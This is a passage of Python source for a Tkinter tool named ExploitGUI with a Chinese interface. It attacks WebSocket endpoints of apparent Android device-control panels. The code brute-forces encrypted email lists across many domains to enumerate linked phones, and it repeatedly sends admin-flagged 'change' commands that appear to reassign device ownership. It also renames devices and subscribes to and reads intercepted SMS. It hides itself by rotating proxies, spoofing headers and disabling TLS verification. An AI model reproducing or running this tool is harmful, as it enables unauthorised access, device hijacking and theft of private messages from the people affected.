str(pid).isdigit(): final_pid = int(pid) domain_groups[orig_domain].append(final_pid) except Exception: pass for orig_domain, pids in domain_groups.items(): if self.stop_flag: break ws = None try: ws, connected_url = self.open_websocket(orig_domain, "定时下发", quiet=True) if not ws: continue for pid in pids: if self.stop_flag: break test_pids = [str(pid)] if str(pid).isdigit(): test_pids.append(int(pid)) for pid_to_try in test_pids: try: payload = { "pid": pid_to_try, "itype": "slr_panelsend", "subc": "change", "domain": domain, "ip": "", "changeid": self.encrypt_email(account), "usercheck": "admin" } ws.send(json.dumps(payload)) except Exception: pass time.sleep(0.1) except Exception: pass finally: if ws: time.sleep(0.5) try: ws.close() except: pass if self.stop_flag or (max_count != -1 and count >= max_count): break self.log_terminal(f"[*] [定时任务] 第 {count} 次执行完毕，等待 {interval} 秒后继续...") # 检查 stop_flag 的休眠，支持随时打断 sleep_time = 0 while sleep_time < interval and not self.stop_flag: time.sleep(1) sleep_time += 1 self.log_terminal("[*] [定时任务] 已结束或被手动终止。") def send_rename_command(self, ws_url, phone_id, new_name): timeout_val = int(self.timeout_var.get()) self.log_terminal(f"[*] 正在下发修改名称指令至: {phone_id} (新名称: {new_name})") try: ws, connected_url = self.open_websocket(ws_url, "修改名称", timeout_val) test_pids = [str(phone_id)] if str(phone_id).isdigit(): test_pids.append(int(phone_id)) success = False for pid_to_try in test_pids: payload = { "pid": pid_to_try, "itype": "slr_panelsend", "subc": "rename", "nam": new_name, "usercheck": "admin" } ws.send(json.dumps(payload)) success = True if success: self.log_terminal(f"[+] 修改名称指令已下发: {phone_id} -> {new_name}", "success") self.show_message("showinfo", "成功", f"修改名称指令已下发！\n新名称: {new_name}") time.sleep(0.5) # 给 WebSocket 一点时间将缓冲区内的数据发往服务器 ws.close() except Exception as e: self.log_terminal(f"[-] 修改名称指令下发失败: {str(e)}", "error") self.show_message("showerror", "错误", f"修改名称失败: {str(e)}") def show_sms_window(self, ws_url, phone_id, email): sms_win = tk.Toplevel(self.root) sms_win.title(f"短信查看器 - {phone_id}") sms_win.geometry("800x700") sms_win.configure(bg="#f8f9fa") # 顶部搜索与状态栏 header = tk.Frame(sms_win, bg="#2c3e50", padx=15, pady=12) header.pack(fill=tk.X) tk.Label(header, text=" 搜索短信:", fg="white", bg="#2c3e50", font=("Microsoft YaHei", 9)).pack(side=tk.LEFT) search_entry = ttk.Entry(header, width=40) search_entry.pack(side=tk.LEFT, padx=10) status_v = tk.StringVar(value="正在建立 WebSocket 连接...") status_lbl = tk.Label(header, textvariable=status_v, fg="#2ecc71", bg="#2c3e50", font=("Microsoft YaHei", 9, "bold")) status_lbl.pack(side=tk.RIGHT) # 中间内容区 content_frame = tk.Frame(sms_win, bg="#f8f9fa", padx=15, pady=10) content_frame.pack(fill=tk.BOTH, expand=True) txt = tk.Text(content_frame, bg="white", fg="#2c3e50", font=("Consolas", 11), relief=tk.FLAT, padx=15, pady=15, wrap=tk.WORD, highlightthickness=1, highlightbackground="#dee2e6") txt.pack(fill=tk.BOTH, expand=True, side=tk.LEFT) scr = ttk.Scrollbar(content_frame, orient=tk.VERTICAL, command=txt.yview) txt.configure(yscrollcommand=scr.set) scr.pack(fill=tk.Y, side=tk.RIGHT) # 底部工具栏 footer = tk.Frame(sms_win, bg="#f1f3f5", height=40) footer.pack(fill=tk.X) def clear_search(): search_entry.delete(0, tk.END) do_search() def do_search(event=None): txt.tag_remove("highlight", "1.0", tk.END) word = search_entry.get().strip() if not word: status_v.set("在线 (就绪)") return idx = "1.0" count = 0 while True: idx = txt.search(word, idx, nocase=True, stopindex=tk.END) if not idx: break lastidx = f"{idx}+{len(word)}c" txt.tag_add("highlight", idx, lastidx) idx = lastidx count += 1 txt.tag_config("highlight", background="#ffeb3b", foreground="#000000", borderwidth=1, relief=tk.SOLID) if count > 0: status_v.set(f"找到 {count} 处匹配") # 滚动到第一个匹配项 first_match = txt.tag_ranges("highlight") if first_match: txt.see(first_match[0]) else: status_v.set("未找到匹配内容") search_entry.bind("", do_search) btn_frame = tk.Frame(header, bg="#2c3e50") btn_frame.pack(side=tk.LEFT) ttk.Button(btn_frame, text="查找", width=8, command=do_search).pack(side=tk.LEFT) ttk.Button(btn_frame, text="重置", width=8, command=clear_search).pack(side=tk.LEFT, padx=5) def retry_connection(): txt.insert(tk.END, f"\n[*] 正在手动尝试重新连接...\n", "notify") threading.Thread(target=fetch_sms, daemon=True).start() ttk.Button(btn_frame, text="刷新连接", width=12, command=retry_connection).pack(side=tk.LEFT, padx=10) # 配置标签样式 txt.tag_config("header", foreground="#1a73e8", font=("Microsoft YaHei", 10, "bold"), spacing1=10) txt.tag_config("notify", foreground="#e67e22", font=("Microsoft YaHei", 9, "italic")) txt.tag_config("time", foreground="#95a5a6", font=("Consolas", 9)) txt.tag_config("content", foreground="#2c3e50", font=("Consolas", 11), lmargin1=20, lmargin2=20, spacing3=10) def fetch_sms(): timeout_val = int(self.timeout_var.get()) self.log_terminal(f"[*] 正在尝试连接短信服务器: {ws_url} (超时设定: {timeout_val}s)") status_v.set(f"连接中 ({timeout_val}s)...") try: ws, connected_url = self.open_websocket(ws_url, "短信查看", timeout_val) self.log_terminal(f"[*] 短信查看已连接: {connected_url}") # 直接双发 # 尝试不同的 PID 类型以适配后端的 Map 存储，不再阻塞等待回执 test_pids = [str(phone_id)] if str(phone_id).isdigit(): test_pids.append(int(phone_id)) for pid_to_try in test_pids: self.log_terminal(f"[*] 正在订阅 PID: {pid_to_try} (类型: {type(pid_to_try).__name__})") # 发送 join (确保服务器收到后，会将后续短信转发给本连接) ws.send(json.dumps({"pid": pid_to_try, "itype": "slr_panel", "subc": "join"})) # 直接下发获取短信指令 ws.send(json.dumps({"pid": pid_to_try, "itype": "slr_panelsend", "subc": "SMS"})) status_v.set("指令已下发，等待设备回传...") while True: result = ws.recv() data = json.loads(result) if data.get("type") == "sms": now_time = time.strftime('%Y-%m-%d %H:%M:%S') txt.insert(tk.END, f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n", "time") txt.insert(tk.END, f" 收到短信 | {now_time}\n", "header") txt.insert(tk.END, f"{data.get('data', '无内容')}\n\n", "content") txt.see(tk.END) status_v.set("在线 (已更新)") elif data.get("type") == "notify": txt.insert(tk.END, f" [系统通知] {data.get('data')}\n", "notify") txt.see(tk.END) except Exception as e: status_v.set("连接已断开") txt.insert(tk.END, f"\n 错误] WebSocket 连接异常: {str(e)}\n", "notify") self.log_terminal(f"短信连接异常: {str(e)}") threading.Thread(target=fetch_sms, daemon=True).start() def stop_action(self): self.stop_flag = True self.log_terminal("[!] 正在请求停止，请稍候...") self.update_status("正在停止...") def start_exploit(self): self.stop_flag = False self.toggle_buttons(tk.DISABLED) try: timeout_val = int(self.timeout_var.get()) except ValueError: messagebox.showerror("错误", "超时时间必须是整数") self.toggle_buttons(tk.NORMAL) return threading.Thread(target=self.exploit_thread, args=(timeout_val,), daemon=True).start() def start_scan(self): self.stop_flag = False self.toggle_buttons(tk.DISABLED) self.reset_runtime_results() try: timeout_val = int(self.timeout_var.get()) max_threads = int(self.threads_var.get()) except ValueError: messagebox.showerror("错误", "超时时间和并发线程必须是整数") self.toggle_buttons(tk.NORMAL) return self.append_session_marker("单域名字典扫描", self.ws_url_entry.get().strip()) threading.Thread(target=self.multi_threaded_dict_scan, args=(timeout_val, max_threads), daemon=True).start() def multi_threaded_dict_scan(self, timeout_val, max_threads): raw_url = self.ws_url_entry.get().strip() domain = self.clean_domain_for_change(raw_url) ws_url = self.format_url(raw_url) self.root.after(0, lambda: self.arch_var.set("力123")) total_size = len(self.precalculated_dict) request_timeout = max(2, min(timeout_val, 5)) worker_count = max(1, min(max_threads, 200, total_size)) display_domain = domain arch_text = "力123)" self.log_terminal(f"[*] 使用【{arch_text}】") self.log_terminal(f"[*] 开始字典扫描: {domain} (共 {total_size} 种组合, 实际工作线程 {worker_count})") self.log_traffic("info", f"启动字典扫描: {domain} | 架构: {arch_text} | 工作线程: {worker_count}") self.root.after(0, lambda: self.progress.config(maximum=total_size, value=0)) self.schedule_scan_progress(display_domain, 0, total_size, 0) state = {'processed': 0, 'found': 0, 'failed': 0} state_lock = threading.Lock() import math chunk_size = math.ceil(total_size / worker_count) chunks = [self.precalculated_dict[i:i + chunk_size] for i in range(0, total_size, chunk_size)] def process_chunk_ws(chunk): ws = None for email, enc_email in chunk: if self.stop_flag: break devices = None for attempt in range(2): try: if not ws: ws, connected_url = self.open_websocket(ws_url, "字典扫描", timeout_val, quiet=True) self.apply_ws_timeout(ws, request_timeout) devices = self.query_devices_over_ws(ws, connected_url, email, enc_email=enc_email, log_io=False) break except Exception: self.safe_close_ws(ws) ws = None with state_lock: state['processed'] += 1 if devices is None: state['failed'] += 1 current_processed = state['processed'] current_found = state['found'] if devices: filter_pid = self.pid_entry.get().strip().lower() filtered_devices = [d for d in devices if not filter_pid or filter_pid in str(d.get("phone_id", "")).lower()] if filtered_devices: new_devs = self.save_result_to_file(connected_url, email, filtered_devices, source="字典扫描(旧版)") if new_devs: with state_lock: state['found'] += len(new_devs) current_found = state['found'] self.log_terminal(f"[SUCCESS] {connected_url} -> {email} 发现 {len(new_devs)} 台新设备!", "success") self.populate_tree(new_devs, connected_url, email) if current_processed % 50 == 0 or current_processed == total_size: self.schedule_scan_progress(display_domain, current_processed, total_size, current_found) self.safe_close_ws(ws) with ThreadPoolExecutor(max_workers=worker_count) as executor: futures = [executor.submit(process_chunk_ws, chunk) for chunk in chunks] for future in as_completed(futures): pass final_processed = state['processed'] final_found = state['found'] final_failed = state['failed'] self.schedule_scan_progress(display_domain, final_processed, total_size, final_found) self.root.after(0, lambda: self.progress.config(value=min(final_processed, total_size))) self.log_terminal(f"[+] 字典扫描结束，共抓取到 {final_found} 台新设备 | 请求失败: {final_failed}", "success") self.show_message("showinfo", "完成", f"字典扫描结束\n\n发现设备: {final_found}\n请求失败: {final_failed}") self.root.after(0, lambda: self.toggle_buttons(tk.NORMAL)) def start_batch_scan(self): file_path = filedialog.askopenfilename(filetypes=[("Text files", "*.txt")]) if not file_path: return self.stop_flag = False self.toggle_buttons(tk.DISABLED) self.reset_runtime_results() try: timeout_val = int(self.timeout_var.get()) max_threads = int(self.threads_var.get()) except ValueError: messagebox.showerror("错误", "超时时间和并发线程必须是整数") self.toggle_buttons(tk.NORMAL) return self.append_session_marker("批量域名扫描", file_path) threading.Thread(target=self.batch_scan_thread, args=(file_path, timeout_val, max_threads), daemon=True).start() def update_status(self, text): self.root.after(0, lambda: self.status_var.set(f"状态: {text}")) def schedule_status_text(self, text): with self.status_update_lock: self.pending_status_text = text if self.status_update_scheduled: return self.status_update_scheduled = True self.root.after(0, self.flush_status_text) def flush_status_text(self): with self.status_update_lock: text = self.pending_status_text self.pending_status_text = None if text is not None: self.status_var.set(f"状态: {text}") with self.status_update_lock: if self.pending_status_text is None: self.status_update_scheduled = False return self.root.after(0, self.flush_status_text) def schedule_scan_progress(self, domain, processed, total, found=0): with self.scan_progress_lock: self.pending_scan_progress = (domain, processed, total, found) if self.scan_progress_update_scheduled: return self.scan_progress_update_scheduled = True self.root.after(0, self.flush_scan_progress) def flush_scan_progress(self): with self.scan_progress_lock: progress_data = self.pending_scan_progress self.pending_scan_progress = None if progress_data: domain, processed, total, found = progress_data self.progress['value'] = min(processed, total) self.status_var.set(f"状态: 正在尝试域名 {domain} {processed}/{total} | 已发现: {found}") with self.scan_progress_lock: if self.pending_scan_progress is None: self.scan_progress_update_scheduled = False return self.root.after(0, self.flush_scan_progress) def show_message(self, method_name, title, message): self.root.after(0, lambda: getattr(messagebox, method_name)(title, message)) def log_terminal(self, message, tag=None): def _log(): try: line_count = int(float(self.terminal.index('end-1c').split('.')[0])) if line_count > 1200: self.terminal.delete('1.0', '200.0') # 优化日志显示格式，如果是带标签的日志，应用对应的颜色 timestamp = time.strftime("[%H:%M:%S] ") self.terminal.insert(tk.END, timestamp, "time") # 自动推断 tag active_tag = tag if not active_tag: if "[+]" in message or "[SUCCESS]" in message or "发现" in message or "成功" in message: active_tag = "success" elif "[-]" in message or "[!]" in message or "失败" in message or "异常" in message or "错误" in message: active_tag = "error" elif "[*]" in message or "正在" in message or "开始" in message or "结束" in message: active_tag = "info" else: active_tag = "warning" self.terminal.insert(tk.END, message + "\n", active_tag) self.terminal.see(tk.END) except: pass self.root.after(0, _log) def log_traffic(self, direction, data, connected_url=""): def _log(): try: line_count = int(float(self.traffic_term.index('end-1c').split('.')[0])) if line_count > 1000: self.traffic_term.delete('1.0', '150.0') if direction == "send": prefix = ">>> 发送: " elif direction == "recv": prefix = "<<< 接收: " elif direction == "error": prefix = "[错误] " else: prefix = "[信息] " # 在流量前加上 URL，更清晰 url_prefix = f"[{connected_url}] " if connected_url else "" log_line = time.strftime("[%H:%M:%S] ") + url_prefix + prefix + data + "\n" self.traffic_term.insert(tk.END, log_line) self.traffic_term.see(tk.END) except: pass self.root.after(0, _log) def save_result_to_file(self, domain, email, devices, source="扫描记录"): new_devices = [] with self.file_lock: normalized_domain = self.normalize_result_domain(domain) for dev in devices: pid = str(dev.get('phone_id', '')).strip() if not pid: continue device_key = self.make_device_key(normalized_domain, pid) if device_key not in self.found_pids: self.found_pids.add(device_key) device_copy = dict(dev) device_copy['phone_id'] = pid new_devices.append(device_copy) if not new_devices: return [] try: with open(self.result_file_path, "a", encoding="utf-8") as f: f.write( f"记录时间: {time.strftime('%Y-%m-%d %H:%M:%S')}\n" f"来源: {source}\n" f"目标域名: {normalized_domain}\n" f"账号邮箱: {email}\n" f"新增设备数量: {len(new_devices)}\n" f"设备详情: {json.dumps(new_devices, ensure_ascii=False)}\n" + "="*40 + "\n" ) except Exception as e: self.log_terminal(f"[-] 保存文件失败: {str(e)}", "error") return new_devices def get_ws_headers(self, target_url=None): import random user_agents = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0" ] headers = [ f"User-Agent: {random.choice(user_agents)}", "Accept-Language: zh-CN,zh;q=0.9,en;q=0.8", "Pragma: no-cache", "Cache-Control: no-cache" ] # 动态计算合法的 Origin if target_url: try: # 构造 Origin is_wss = target_url.lower().startswith("wss://") scheme = "https" if is_wss else "http" host = re.sub(r"^wss?://", "", target_url, flags=re.I).split('/')[0] headers.append(f"Origin: {scheme}://{host}") headers.append(f"Referer: {scheme}://{host}/") headers.append("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8") except: headers.append("Origin: http://localhost") else: headers.append("Origin: http://localhost") return headers def clean_domain_for_change(self, raw_domain): domain = raw_domain.strip() domain = re.sub(r"^wss?://", "", domain, flags=re.I) domain = re.sub(r"^https?://", "", domain, flags=re.I) domain = domain.split("/")[0].strip() return domain def build_ws_candidates(self, raw_url): url = raw_url.strip() if not url: return [] url = url.replace("\\", "/").strip() url = re.sub(r"/+$", "", url) candidates = [] def push(candidate): candidate = candidate.strip() if not candidate: return if "/api/ws" not in candidate: candidate = candidate.rstrip("/") + "/api/ws/" else: candidate = candidate.rstrip("/") + "/" if candidate not in candidates: candidates.append(candidate) if url.startswith("wss://"): push(url) push("ws://" + url[6:]) elif url.startswith("ws://"): push(url) push("wss://" + url[5:]) elif url.startswith("https://"): host = url[8:] push("wss://" + host) push("ws://" + host) elif url.startswith("http://"): host = url[7:] push("ws://" + host) push("wss://" + host) else: push("wss://" + url) push("ws://" + url) return candidates def open_websocket(self, raw_url, purpose="", timeout=None, quiet=False): import ssl import random timeout_val = timeout if timeout is not None else int(self.timeout_var.get()) last_error = None proxy_host = None proxy_port = None proxy_auth = None if hasattr(self, 'proxies') and self.proxies: proxy_str = random.choice(self.proxies) try: if '@' in proxy_str: auth_part, host_part = proxy_str.split('@', 1) username, password = auth_part.split(':', 1) proxy_auth = (username, password) proxy_host, proxy_port_str = host_part.split(':', 1) proxy_port = int(proxy_port_str) else: proxy_host, proxy_port_str = proxy_str.split(':', 1) proxy_port = int(proxy_port_str) except Exception as e: self.log_terminal(f"[-] 代理解析错误 ({proxy_str}): {str(e)}") for candidate in self.build_ws_candidates(raw_url): try: if purpose and not quiet: proxy_info = f" [代理: {proxy_host}:{proxy_port}]" if proxy_host else "" self.log_terminal(f"[*] {purpose}: 尝试连接 {candidate}{proxy_info}") kwargs = { "header": self.get_ws_headers(candidate), "timeout": timeout_val, "sslopt": {"cert_reqs": ssl.CERT_NONE}, "suppress_origin": True } if proxy_host and proxy_port: kwargs["http_proxy_host"] = proxy_host kwargs["http_proxy_port"] = proxy_port if proxy_auth: kwargs["http_proxy_auth"] = proxy_auth ws = websocket.create_connection(candidate, **kwargs) if purpose and not quiet: self.log_terminal(f"[+] {purpose}: 已连接 {candidate}") return ws, candidate except websocket.WebSocketBadStatusException as e: status_code = getattr(e, 'status_code', 'Unknown') clean_msg = f"HTTP {status_code}" if status_code == 200: clean_msg += " (目标返回普通网页，非WS协议)" elif status_code == 403: clean_msg += " (服务器拒绝访问/WAF拦截)" elif status_code == 404: clean_msg += " (WS端点不存在)" elif status_code == 400: clean_msg += " (代理/服务器理解请求失败)" elif status_code == 502: clean_msg += " (代理或网关无法连接目标)" last_error = RuntimeError(clean_msg) if purpose and not quiet: self.log_terminal(f"[-] {purpose}: {candidate} 握手失败 -> {clean_msg}") except Exception as e: err_str = str(e) if "failed CONNECT via proxy status: 400" in err_str: clean_msg = "代理拒绝连接 (HTTP 400)，可能不支持该端口" last_error = RuntimeError(clean_msg) elif "failed CONNECT via proxy status: 502" in err_str: clean_msg = "代理连接目标超时/失败 (HTTP 502)" last_error = RuntimeError(clean_msg) else: last_error = e clean_msg = err_str if purpose and not quiet: self.log_terminal(f"[-] {purpose}: {candidate} 连接失败 -> {clean_msg}") raise last_error if last_error else RuntimeError("未生成可用的 WebSocket 地址") def format_url(self, url): candidates = self.build_ws_candidates(url) return candidates[0] if candidates else None def extract_display_domain(self, ws_url): return re.sub(r"^wss?://", "", ws_url).split("/")[0] def run_scan_on_domain(self, raw_url, is_batch=False, dict_subset=None, timeout_override=None, progress_callback=None): domain = self.clean_domain_for_change(raw_url) ws_url = self.format_url(raw_url) target_dict = dict_subset if dict_subset else self.precalculated_dict total_tasks = len(target_dict) if not is_batch: self.root.after(0, lambda: self.progress.config(maximum=total_tasks, value=0)) self.root.after(0, lambda: self.arch_var.set("WS直连)")) found_count, processed, failed_emails = 0, 0, 0 timeout_val = timeout_override if timeout_override is not None else int(self.timeout_var.get()) request_timeout = max(2, min(timeout_val, 4 if is_batch else timeout_val)) ws = None try: ws, connected_url = self.open_websocket(ws_url, "" if is_batch else "字典扫描", timeout_val, quiet=is_batch) self.apply_ws_timeout(ws, request_timeout) for email, enc_email in target_dict: if self.stop_flag: break devices = None for attempt in range(2): try: if not ws: ws, connected_url = self.open_websocket(ws_url, "" if is_batch else "字典扫描", timeout_val, quiet=is_batch) self.apply_ws_timeout(ws, request_timeout) devices = self.query_devices_over_ws(ws, connected_url, email, enc_email=enc_email, log_io=not is_batch) break except Exception: self.safe_close_ws(ws) ws = None if devices is None: failed_emails += 1 if devices: filter_pid = self.pid_entry.get().strip().lower() filtered_devices = [d for d in devices if not filter_pid or filter_pid in str(d.get("phone_id", "")).lower()] if filtered_devices: new_devs = self.save_result_to_file(connected_url, email, filtered_devices, source="批量扫描(旧版WS)") if new_devs: found_count += len(new_devs) self.log_terminal(f"[SUCCESS] {connected_url} -> {email} 发现 {len(new_devs)} 台新设备!", "success") self.populate_tree(new_devs, connected_url, email) processed += 1 if is_batch and progress_callback and (processed == 1 or processed % 50 == 0 or processed == total_tasks): progress_callback(connected_url, processed, total_tasks, found_count) if processed % 100 == 0 and not is_batch: self.root.after(0, lambda v=processed: self.update_scan_progress(v, total_tasks, found_count)) self.safe_close_ws(ws) except Exception: self.safe_close_ws(ws) if is_batch: return {"found": found_count, "processed": processed, "failed_emails": total_tasks if processed == 0 else max(failed_emails, total_tasks - processed), "total": total_tasks, "domain_failed": True} return -1 if is_batch: return {"found": found_count, "processed": processed, "failed_emails": failed_emails, "total": total_tasks, "domain_failed": False} return found_count def update_scan_progress(self, processed, total, found): self.progress['value'] = processed self.status_var.set(f"状态: 扫描中: {processed}/{total} | 已发现: {found}") def batch_scan_thread(self, file_path, timeout_val, max_threads): try: with open(file_path, 'r', encoding='utf-8') as f: lines = [l.strip() for l in f.readlines() if l.strip()] unique_lines = [] seen = set() for line in lines: normalized = line.strip() if normalized and normalized not in seen: seen.add(normalized) unique_lines.append(normalized) total_domains = len(unique_lines) self.log_terminal(f"[*] 批量任务开始，共 {total_domains} 个域名") self.root.after(0, lambda: self.progress.config(maximum=total_domains, value=0)) grand_total = 0 failed_domains = 0 attempted_emails = 0 failed_emails = 0 skipped_emails = 0 valid_urls = [] for line in unique_lines: formatted = self.format_url(line) if formatted: valid_urls.append(formatted) self.log_traffic("info", f"批量扫描已加载域名: {total_domains} 个，有效域名: {len(valid_urls)} 个") worker_count = max(1, min(max_threads, 200, len(valid_urls))) if valid_urls else 1 def make_batch_progress_callback(domain_no, domain_total): def _callback(current_url, processed, email_total, found): display_domain = self.extract_display_domain(current_url) self.schedule_status_text( f"正在扫描域名 {display_domain} ({domain_no}/{domain_total}) | 当前邮箱进度 {processed}/{email_total} | 当前域名发现: {found}" ) return _callback with ThreadPoolExecutor(max_workers=worker_count) as executor: future_to_meta = { executor.submit( self.run_scan_on_domain, url, True, None, timeout_val, make_batch_progress_callback(domain_no, len(valid_urls)) ): (domain_no, url) for domain_no, url in enumerate(valid_urls, start=1) } for idx, future in enumerate(as_completed(future_to_meta), start=1): if self.stop_flag: break domain_no, url = future_to_meta[future] try: res = future.result() if isinstance(res, dict): grand_total += res.get("found", 0) attempted_emails += res.get("processed", 0) failed_emails += res.get("failed_emails", 0) if res.get("domain_failed"): failed_domains += 1 skipped_count = res.get("total", 0) skipped_emails += skipped_count self.log_terminal( f"[-] 域名连接失败: {url} | 整站跳过邮箱: {skipped_count}/{res.get('total', 0)}", "error" ) else: self.log_terminal( f"[*] 域名完成: {url} | 已尝试: {res.get('processed', 0)}/{res.get('total', 0)} | " f"邮箱失败: {res.get('failed_emails', 0)} | 新设备: {res.get('found', 0)}", "info" ) self.root.after(0, lambda v=idx: self.progress.config(value=v)) success_domains = idx - failed_domains self.schedule_status_text( f"批量扫描中: 已完成域名 {idx}/{len(valid_urls)} | 成功域名: {success_domains} | " f"失败域名: {failed_domains} | 总发现: {grand_total}" ) except Exception as e: failed_domains += 1 self.log_traffic("error", f"域名任务异常: {str(e)}") success_domains = max(0, len(valid_urls) - failed_domains) self.log_terminal( f"[FINISH] 批量任务结束! 域名成功: {success_domains} | 域名失败: {failed_domains} | " f"已尝试邮箱: {attempted_emails} | 邮箱失败: {failed_emails} | 跳过邮箱: {skipped_emails} | 发现设备: {grand_total}", "success" ) self.show_message( "showinfo", "任务完成", f"批量扫描完成\n\n" f"成功域名: {success_domains}\n" f"失败域名: {failed_domains}\n" f"已尝试邮箱: {attempted_emails}\n" f"邮箱失败: {failed_emails}\n" f"跳过邮箱: {skipped_emails}\n" f"发现设备: {grand_total}" ) except Exception as e: self.log_terminal(f"[-] 批量扫描发生错误: {str(e)}", "error") finally: self.root.after(0, lambda: self.toggle_buttons(tk.NORMAL)) def exploit_thread(self, timeout_val): raw_url, email = self.ws_url_entry.get().strip(), self.email_entry.get().strip() domain = self.clean_domain_for_change(raw_url) # 强制使用旧版 WS 架构 self.root.after(0, lambda: self.arch_var.set("(WS直连)")) self.log_terminal("[*] 强制使用旧版 WebSocket 架构进行查询") try: encrypted_email = self.encrypt_email(email) ws, connected_url = self.open_websocket(raw_url, "单个查询", timeout_val) devices = self.query_devices_over_ws(ws, connected_url, email, enc_email=encrypted_email, log_io=True) ws.close() new_devs = self.save_result_to_file(connected_url, email, devices, source="单个查询(旧版WS)") self.log_terminal(f"[SUCCESS] 成功! {email} 发现 {len(devices)} 台设备 | 新增 {len(new_devs)} 台", "success") if new_devs: self.populate_tree(new_devs, connected_url, email) except Exception as e: self.show_message("showerror", "错误", str(e)) self.log_traffic("error", f"(查询邮箱: {email}) 失败: {str(e)}", domain) finally: self.root.after(0, lambda: self.toggle_buttons(tk.NORMAL)) def populate_tree(self, devices, domain="", email=""): # 获取用户在界面填写的过滤 ID filter_pid = self.pid_entry.get().strip().lower() # 由于是从子线程调用，需要确保在主线程执行 UI 更新 def _insert(): for dev in devices: pid = str(dev.get("phone_id", "")).strip() if not pid: continue # 如果填写了设备 ID 过滤，不匹配则跳过 if filter_pid and filter_pid not in pid.lower(): continue display_key = self.make_display_device_key(domain, pid) if display_key in self.displayed_device_keys: continue self.displayed_device_keys.add(display_key) self.tree.insert("", tk.END, values=( pid, dev.get("phone_name", ""), dev.get("model", ""), dev.get("android_ver", ""), dev.get("country", ""), dev.get("network", ""), dev.get("accessibility", ""), dev.get("install_date", ""), domain, email )) self.root.after(0, _insert) if __name__ == "__main__": root = tk.Tk() app = ExploitGUI(root) root.mainloop()